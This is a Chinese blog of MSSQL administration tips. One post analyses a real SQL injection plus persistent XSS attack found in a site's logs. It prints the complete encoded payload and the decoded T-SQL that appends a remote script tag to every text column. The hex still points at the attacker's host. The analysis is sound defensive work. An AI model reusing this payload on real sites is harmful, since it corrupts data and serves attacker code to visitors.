關於我

我的相片
用心思考、保持熱情,把工作上的經驗作分享與紀錄。希望能夠跟大家一起不斷的成長~
顯示具有 資料庫 標籤的文章。 顯示所有文章
顯示具有 資料庫 標籤的文章。 顯示所有文章

MSSQL 清除 Cache 與 Buffers

資料庫測試Query執行時間等數據時。 要特別注意Cache與Buffers的影響,因此在每個Query測試前,須注意先將Cache與Buffers清除。以確保執行不受Cache與Buffers影響。執行Query如下:

DBCC FREEPROCCACHE;
DBCC DROPCLEANBUFFERS;
GO

每次要用都忘記,趕快寫下來XD

Sql injection + XSS 實際攻擊手法分析

今維護的網站,發生Exception錯誤訊息,Exception中QueryString部分,看起來十分奇怪。
不太對勁,分析後發現確實為被攻擊的現象。

簡單來說,攻擊手法是使用打游擊的方式到處測試網頁是否有 SQL injection 的漏洞,有的話,便將資料庫字串欄位附加上 <script>xss script</script> 的XSS攻擊指令,以便顯示在網頁時攻擊使用者電腦,是標準的 SQL Injection + Persisted XSS 攻擊。
而script部分,則利用iframe方式,讓網頁被打開時,javascript自動連結此不合法scipt中的iframe,而被連結之網址,便可透過觀測該網站的流量,與來訪紀錄,得知被攻擊成功的主機資訊,或是整體攻擊情況。

發現異常的QueryString:
OID=287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D07359734……………B2D2D%20eXeC(@s)--

以下為攻擊手法分析:

1. 將QueryString做URLDecode,轉回正常字串。

string querystr = @"287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--";

string decode = HttpUtility.UrlDecode(querystr);

Console.WriteLine(decode);

//Decode結果如下

//"287;dEcLaRe @s vArChAr(8000) sEt @s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D eXeC(@s)--"

2. 發現上方Decode結果是個Tsql Query,主要執行@s = 0x6445634C61526…部分,因此繼續將此binary拿至sql2005解析。

3. 於SQL2005將binary query 轉回string query,解讀攻擊資訊。

--將被送入的binary query轉回string
print convert(varchar(max),0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D, 2)

--轉回的正常string,發現是一段store procedure,主要目的是更新被攻擊資料庫的data

dEcLaRe @t vArChAr(255),@c vArChAr(255)

dEcLaRe tAbLe_cursoR 

cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)

oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c 

while(@@fEtCh_status=0)

bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%22dnf%''')

fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd

cLoSe tAbLe_cursoR 

dEAlLoCaTe tAbLe_cursoR;-

--其中更新內容,也轉回string,內容為<script src=hccp://xxx.xxx/ff/y.js></script>,為避免誤點,網只是亂打的!

print convert(varchar(max),0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E, 2)

--最後將我門資料更新的結果,Our Data<script src=hccp://xxx.xxx/ff/y.js></script>

select rtrim(convert(varchar(8000),'Our Data'))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) --用以上方式,搭配sql injection , 達到XSS攻擊!

以上如被攻擊成功,被攻擊網站即已被植入不法Script,可能繼續對瀏覽網站使用者造成傷害。

Sql 2008 新增資料表修改保護機制

有時候,當專案有需求,希望可以在資料表中增加一個欄位。

當新增的欄位,或異動,需要重建資料表,才有辦法正確變更成功的話。

在Sql 2008 便會得到如下的訊息,提醒您的異動因為需要drop 再 re-create 資料表。

此異動在預設是不允許的,我想,也許這是要保護資料不會不小心被刪掉。

擷取

可是當我們是專案剛開始在設計資料表時,資料表內還沒有任何資料。

應該是可以異動,不會有風險的。那該怎麼辦呢?!

仔細看於上圖的訊息中,有提到一個新增的選項,

The Option Prevent saving changes that require the table to be re-created.

在新版的sql2008中,增加了這個選項的防護。確保資料不會不小心被刪除了。

 

但當我們真的需要直接重建資料表,

我們可以再以下路徑找到這個設定:

Option → Designer → Table and DataBase Designers → Prevent saving changes that require table re-creation.

擷取2

預設這個選項是打勾的,表示需要啟用此保護機制。

在這邊只要將此選項勾選掉,即可直接儲存需Re-creation資料表的異動了。

但我想,異動完還是必須記得將此選項修改回啟用,

這選項應可有效確保資料不會因不小心異動資料表而被刪除!!!

資料庫實體檔案,成長大小設定錯誤,造成之系統瓶頸排除

遇到一個系統上的問題,將此次請教公司資深同事,一起將問題排除的整個過程做簡單記錄!

發生問題

於2010/04/17 20:00左右,系統某轉檔程式,會一直在同一個Query上發生資料庫TimeOut的問題,

但當我將此Query拿至SSMS執行,卻又相當正常(已執行ClearBuffer)。

 

問題排除整體分兩階段

[Log查詢,Performance Counter記錄,問題初步判斷]

  1. 先看到最初發生系統錯誤Log於2010/04/17 20:00,錯誤訊息為對XXX資料表的Query發生TimeOut。
  2. 接著查看各系統Log(專案系統Log、EventLog、SqlServerLog),而於Sql Server Log中,也於同上時間點,開始發生如下訊息。SQL Server has encountered 86 occurrence(s) of I/O requests taking longer than 15 seconds to complete on file [E:\XXX\XXX.MDF] in database [XXX] (5).因此初步方向是有發生磁碟效能上瓶頸。
  3. 於是先記錄Performance Counter 確認系統Avg. Disk Queue的平均值約停留於37上下,確實比建議值<2高過許多!
  4. 接著試著找出造成Disk瓶頸的原因,接著錄下系統SqlServer相關Counter,發現記憶體已完全被使用完,且Counter數據也與建議值差異甚大.因此初步判斷是記憶體不足,所照成磁碟不斷寫入,進而有磁碟上的瓶頸。

[資料庫設定,問題排除]

  1. 接著往DB設定上查詢。
  2. 同事發現資料庫存放XXX資料表的實體檔,當實體檔不足時,每次居然使用預設值每次只擴充成長1MB的大小。(此XXX資料表目前已成長到約35G的大小,因當初規劃就知道此資料檔相當龐大,又讀寫頻繁,所以當初有刻意將此資料表規劃獨立在一個資料庫實體檔中,因此此35G大小的實體檔,其實只存放了一個此XXX資料表)
  3. 同事認為以上設定大有問題,有可能會造成不斷在重新配置大小,也就有可能造成磁碟上的讀寫頻繁!因此先將此設定改為一次成長100MB。
  4. 最後在無意間再次查詢Performance Counter時,發現磁碟效能瓶頸問題完全解除!系統程式也不再發生TimeOut! 再比對回覆正常的時間,與設定一次成長100MB的時間點發現相吻合。
  5. 以此確認為預設1MB的設定,造成了磁碟I/O上不斷需要被重新配置。

以上排除問題方式我想有一定的方向可循,雖其中也還有許多疑點可循值得探討,可覺得還是一個不錯的錯誤排除記錄,可供往後繼續參考!

nchar vs char N的差異

 

資料格式 字元編碼 占用資料空間 查詢速度(索引) 支援國際化字元
nchar Unicode 較大 較慢
char Ansi-string 較小 較快
 
整理差異,規劃上可參考。

設定Sqlserver連線逾時時間

擷取

如上圖所示! 設定完成後即可生效!

[SQL SERVER][Maintain]沒有Ldf檔案實做還原資料庫

    今天看到一篇相當實用的實戰文章,轉貼到此留存,想必未來一定能派上用場!

    本文轉貼自 <http://www.dotblogs.com.tw/ricochen/archive/2010/01/11/12962.aspx>

    今天一大早就遇到SQL Server硬碟壞軌,不過是開發環境所以也沒麼痛~哈。

    DB相關Ldf檔案雖然都在壞軌硬碟中(OS也掛XD),但還好Mdf檔案存放在另一顆硬碟

    所以就在換了一顆硬碟並安裝WIN2008+SQL2008完畢後

    便可開始還原相關資料庫(好加在前些時候才演練過相關防災操作)

    事前確認作業

    1.存放Ldf路徑須相同。

    如:舊路徑(D:\ldfdata),那麼新硬碟也需存在。

    開始還原資料庫

    1.建立新資料庫(Mdf和Ldf檔案名稱須和舊檔案相同)

    clip_image001

    (無相關Table objects)

    2.複製舊MDF檔案至相關路徑

    先停止SQL Server並刪除New MDF and LDF後再開始複製舊MDF檔案至相關目錄

    完成後再啟動SQL SERVER並嘗試開啟資料庫會出現以下錯誤。

    ALTER DATABASE demotest SET ONLINE; 
    GO

    clip_image002

    (因為檔案被我們刪除了)

    這時查看DB Status

    select state_desc from sys.databases where name='demotest'

    clip_image003

    3.設定資料庫=EMERGENCY

    EMERGENCY 主要用於進行疑難排解。例如,由於記錄檔損毀而被標示有疑問的資料庫可以設為 EMERGENCY 狀態。

    在這個情況下,系統管理員可以進行資料庫的唯讀存取。只有系統管理員 (sysadmin) 固定伺服器角色的成員,

    才能將資料庫的狀態設為 EMERGENCY。

    ALTER DATABASE demotest SET EMERGENCY; 
    GO 
    DBCC CHECKDB (demotest, REPAIR_ALLOW_DATA_LOSS) WITH NO_INFOMSGS; 
    GO

    clip_image004

    依錯誤訊息切換單一使用者模式

    ALTER DATABASE demotest SET SINGLE_USER; 
    GO 
    DBCC CHECKDB (demotest, REPAIR_ALLOW_DATA_LOSS) WITH NO_INFOMSGS; 
    GO

    clip_image005

    執行到這裡相關Ldf以重新建立,不過會遺失交易一致性(就是指DB Checkpoint時間點以內都可回復)。

    4.再度確認DB Status

    select state_desc from sys.databases where name='demotest'

    clip_image006

    5.檢查DB所有物件的邏輯完整性和實體完整性並更新統計值

    clip_image007

    clip_image008

    6.確認資料庫相關物件

    clip_image009

    搞定收工。

     

ASP.NET SQL Server 註冊工具 (Aspnet_regsql.exe)

今天需要使用到Asp.net Provider,這裡註記一下整個SqlServer的註冊過程。

這裡用UI介面設定方式來註冊,應該會簡單許多!

  • 以系統管理員身分開啟command視窗111
  • 此處已.Net4.0為例,切換至目錄 \Windows\Microsoft.NET\Framework\v4.0.21006 下擷取1
  • 執行 aspnet_regsql.exe擷取2
  • 開始使用安裝精靈擷取3
  • 選擇 Configure SQL Server for application services ,設定 Sql Server 應用程式服務擷取4
  • 輸入預設定之資料庫相關資料擷取5
  • 如輸入資訊無誤,下一步即已完成Services的設定了!擷取6
  • 此時於資料庫中已可看到這些Provider所需使用到的資料表!擷取7

當然,這些步驟,也都可以用cmd方式完成。

更詳細的Aspnet_regsql.exe使用方式可參考網頁http://msdn.microsoft.com/zh-tw/library/ms229862(VS.80).aspx

MSSQL T-SQL 撰寫測試時的好用語法

剛在測試撰寫一段Query

順便介紹一下幾個好用的語法,可幫助除錯..等

waitfor delay '00:00:05:000' 

此可讓作業暫停!

if @count%10000=0 print 'OK' else pirnt 'NG' 

if else 判斷式..相當好用! %則是取餘數 ~

Set nocount on 

可讓預設會顯示的『影響資料筆數』不顯示!

簡單 T-SQL Cursor 範例

DECLARE InvoiceOID_cursor CURSOR FOR 
select oid from Invoice
OPEN InvoiceOID_cursor 
FETCH NEXT FROM InvoiceOID_cursor INTO @InvoiceOID
WHILE @@FETCH_STATUS = 0
BEGIN
    --    PRINT @message
    --    delete from XXX where oid = @InvoiceOID
    --    Do Something !
    FETCH NEXT FROM InvoiceOID_cursor INTO @InvoiceOID
END 
CLOSE InvoiceOID_cursor
DEALLOCATE InvoiceOID_cursor

如何更改 tempdb 實體檔案位置

更改位置Script

USE master;
GO
ALTER DATABASE tempdb
MODIFY FILE (NAME = tempdev, FILENAME = 'E:\DB\tempdb.mdf');
GO
ALTER DATABASE tempdb
MODIFY FILE (NAME = templog, FILENAME = 'E:\DB\templog.ldf');
GO

完成後可用下方Query檢查是否更改完成。

SELECT name, physical_name AS CurrentLocation, state_desc
FROM sys.master_files
WHERE database_id = DB_ID(N'tempdb');

最後再重啟資料庫即可

如何確認SQL Server Integration Services是否有安裝並啟用

可開啟SQL Server Configuration Manager視窗,看看SQL Server 服務中,是否有一項【SQL Server Integration Services】項目,

如果有的話,表示Integration Services服務已有安裝。沒有的話則需放入安裝光碟重新勾選安裝此項目。

即可確認是否有安裝並啟用了!

擷取

Windows 2003 server 開啟 MSDTC 功能注意要點

1.請先確認Sql Server Integration Service 服務是否已有安裝!!!

2.開啟MSDTC功能,設定畫面如下

擷取

3.安裝 Network DTC 存取服務

擷取2

4.開啟防火牆例外設定

可於cmd視窗輸入命令:

netsh firewall set allowedprogram %windir%\system32\msdtc.exe MSDTC enable

開啟後畫面如下

擷取3

MSSQL 清理LOG記錄檔!

清除前:

擷取

使用清除命令:

擷取2

清除結果:

擷取3

第一行命令,目的將Log記錄檔中斷,才可以進行有效的壓縮清理。

backup log VATC4_TH with TRUNCATE_ONLY

接著命令則為壓縮清理:

USE [VATC4_TH]
GO
DBCC SHRINKFILE (N'VATC4_Log' , 0, TRUNCATEONLY)
GO

Sql Query Error Message Change to English

有時候發生sql語法錯誤時,因為我們使用的是中文的系統。 所以回應的訊息都是中文。 實在很難依訊息查詢解決方式。但如果可將錯誤訊息改為英文,國外的經驗則會有用的多。 此時只要於Query中,加入語言設定即可。

SET LANGUAGE ENGLISH 

即可輸出英文版的錯誤訊息了! 參考畫面如下~

擷取

實用的設定喔!!

SQL 2005 移除步驟

如果你有在使用M$ SQL 2005 相信你也有痛苦的移除經驗!

怎麼移除才能重新安裝,這裡將我的實際經驗,分享給大家。

SQL 2005移除步驟

  1. 備份資料:這是首要工作喔!。
  2. 停止所有的SQL SERVER服務:避免在移除過程中,SQL SERVER仍在執行導致無法正確移除。從「我的電腦」→「右鍵」→「管理」→「服務」把所有SQL SERVER的服務停止。
  3. 執行ARPWrapper.exe /Remove:
    • 在命令提示字元下,輸入”cd C:\Program Files\Microsoft SQL Server\90\Setup Bootstrap\ARPWrapper.exe /Remove”。(如果有安裝Expreee版本,請再執行一次)。
    • 勾擇移除所有SQL SERVER 2005相關檔案。移除時間會有點長。
  4. 執行”新增/移除程式”:移除完成後再將「控制台」→「新增移除程式」→「Microsoft SQL Server Native Client 元件」解除安裝;
  5. 移除完成:所有的SQL SERVER 2005就算移除完畢囉!

使用單一使用者模式還原資料庫

alter database vatc4 set single_user with rollback immediate;
go;
RESTORE DATABASE [VATC4] FROM  DISK = N'D:\Tools\04Temp\20090324.bak' WITH  FILE = 1,  MOVE N'VATC4_Data' TO N'E:\DB\家樂福\VATC4.mdf',  MOVE N'VATC4_Data2' TO N'E:\DB\家樂福\VATC_1.mdf',  MOVE N'VATC4_Log' TO N'E:\DB\家樂福\VATC4.ldf',  NOUNLOAD,  REPLACE,  STATS = 10;
go;
ALTER DATABASE VATC4 SET multi_user;
go;

mssql 清除log檔

backup log 資料庫名稱 with truncate_only; 
dbcc shrinkdatabase(資料庫名稱);

select 包含 Row_Number

查詢所有產品編號,並加上行數!
select Row_Number() over (order by papdno) as RowNt,papdno from pm10d;
[輸出] 1 pdno1 2 pdno2 3 pdno3 . . . 10 pdno10 將行數轉為字串,並補0 select right('00'+ltrim(Row_Number() over (order by papdno)),3) as RowNt ,papdno from pm10d; [輸出] 001 pdno1 002 pdno2 003 pdno3 . . . 010 pdno10